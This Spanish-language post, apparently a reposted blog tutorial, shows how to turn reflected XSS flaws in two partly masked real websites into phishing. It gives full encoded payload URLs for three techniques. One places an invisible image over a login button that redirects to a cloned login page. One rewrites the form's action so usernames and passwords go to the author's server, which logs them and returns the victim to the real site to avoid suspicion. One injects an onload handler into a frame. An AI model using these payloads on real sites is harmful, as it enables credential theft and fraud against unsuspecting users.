1. Añadir imagen invisible superpuesta al botón del submit del form del login
2. Cambiar action de un form
Glosario de terminos
XSS: del inglés Cross-site scripting es un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera parte inyectar en páginas web vistas por el usuario código javascript o en otro lenguaje script similar.
Scam: es el nombre utilizado para las estafas a través de medios tecnológicos. A partir de la definición de estafa, se define scam como el ‘delito consistente en provocar un perjuicio patrimonial a alguien mediante engaño y con ánimo de lucro; utilizando como medio la tecnología’.
Phising: es un término informático que denomina un tipo de abuso informático y que se comete mediante el uso de un tipo de ingenieria social caracterizado por intentar adquirir información confidencial de forma fraudulenta.
Ejemplo 1:
Como se puede apreciar esta sería la URL junto a la inyección XSS que se enviará a las víctimas.
http://XXXX.YYYY.com.mx/portalvtn/change_password.jsp?login=%22/%3E%20%3Cdiv%20style=%22position:%20absolute;%20z-index:1;left:525;%20top:90;%20border:%20none;%20border:%200;%22%3E%3Cimg%20src=%22cuadrado.png%22%20height=%22100%22%20width=%22160%22%20onclick=%22javascript:window.location.href=%27http://127.0.0.1/portalvtn/change_password.php%27%22%3E%3C/div%3E%3Cinput%20type=%22hidden%22%20value=%22
Diseccionándola para identificar mejor cada parte de la URL es posible identificar:
Por un lado la URL tal cual.
http://XXXX.YYYY.com.mx/portalvtn/change_password.jsp?login=
Y por otro la inyección. cerrando el TAG y añadiendo el código correspondiente para el engaño.
Código
Con el cierre del TAG del principio y la apertura de un input evitamos que la aplicación muestre la web erróneamente:
Código
"/> <input type="hidden" value="
Con el DIV se va a colocar una imagen transparente encima del botón que sirve para acceder al panel de administración.
http://img443.imageshack.us/img443/9761/rg4.png
La imagen al ser cliqueada va a realizar una redirección a una clonación de la página del login que se encuentra alojada en otra web a la espera de recibir ese usuario y contraseña que se espera obtener con este ataque XSS.
Para ver el ejemplo en acción voy a cambiar la imagen invisible por una inexistente y de esta forma poder identificarla en la imagen siguiente.
Imagen 1: Imagen sobrepuesta al botón
La víctima al rellenar su usuario y contraseña y cliquear sobre Cambiar contraseña propia estará realmente apretando sobre la imagen que a su vez lanzará el javascript que le va a re direccionar a la web fraudulenta.
Imagen 2: Víctima redirigida a la web clonada
Nada más entrar al phising que hemos creado será alertado con un mensaje que le haga creer que se ha equivocado escribiendo sus credenciales. como se puede observar en la barra de direcciones ahora se encuentra en nuestro servidor fraudulento.
Una vez vuelva a escribir sus credenciales se guardarán en un fichero y le volverá a ser redirigido a la web real junto con otro XSS que le vuelva a advertir de que ha escrito erróneamente sus credenciales para que no sospeche.
Imagen 3: Usuario y contraseña robada
Imagen 4: Redirección a la web original
Ejemplo 2:
Otra forma muy elegante que no por ello la anterior no se ha de tener en cuenta es modificando en el vuelo directamente el action del form.
http://XXXX.YYYY.com.mx/portalvtn/change_password.jsp?login=%22%2F%3E%0A%3Cscript%3Edocument.changeForm.action%20%3D%20%22%20http%3A%2F%2F127.0.0.1%2Fportalvtn%2Fchange_password.php%22%3Bdocument.forms
- .btnSubmitOwn.type%3D%22submit%22%3C%2Fscript%3E%0A%3Cinput%20type%3D%22hidden%22%20value%3D%22aaa%0A"
Para ver mejor la inyección he separado el código que va a modificar el comportamiento de la aplicación.
Código
<input type="hidden" value="aaa
Como se puede apreciar se le está cambiando el action del form que en un principio se dirigía a sí mismo, por el de nuestro scam que tenemos en el servidor a la espera de que caiga en el engaño.
document.changeForm.action = " http://127.0.0.1/portalvtn/change_password.php";
y el type del botón para que pase a ser un submit
document.forms[0].btnSubmitOwn.type="submit"
Aquí se puede apreciar cómo una vez hecha la inyección al darle a ‘Cambiar contraseña propia’ se envía tanto el usuario como la contraseña a mi aplicación y esta a su vez lo vuelca en un fichero.
Imagen 5: Inyección XSS/ formulario rellenado
Imagen 6: Envio de credenciales y vuelta al login original.
De esta forma a diferencia del primer ejemplo a ojos de la víctima sería casi del todo imperceptible.
Ejemplo 3:
Y por último otro ejemplo de XSS no muy común sería el siguiente
http://xxxxx.com.ve:8000/planillas/verPlanilla.php?proyectoId=1
Donde el código fuente de la aplicación es el siguiente:
Código
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <frameset cols="250,*" frameborder="no" border="0" framespacing="0"> src="indicePlanilla.php?proyectoId=1&action=ver" name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame"/> src="verPlanilla2.php?proyectoId=1" name="mainFrame" id="mainFrame" /> </frameset> <noframes> <body> </body> </noframes> </html>
Al parecer el valor del campo proyectoId termina concatenándose en la propiedad src de la etiqueta frame del tal manera que preparando una inyección XSS como la siguiente:
http://xxxxx.com.ve:8000/planillas/verPlanilla.php?proyectoId=%22%20onload=javascript:alert%288%29%20michy=%22a
Diseccionándolo para que se entienda mejor:
http://xxxxx.com.ve:8000/planillas/verPlanilla.php?proyectoId=
" onload=javascript:alert(8) michy="a
Se puede observar en el código fuente como se logra inyectar lo enviado por el parámetro proyectoId en la etiqueta frame sin romperla y lograr que la aplicación cumpla como estaba prevista sin malformaciones a la vista de la víctima.
Código
src="indicePlanilla.php?proyectoId=\" onload=javascript:alert(8) michy=\"a&action=ver" name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame"/>
Imagen 7: Inyección exitosa en la etiqueta frame
Fuente: http://code-disaster.blogspot.com/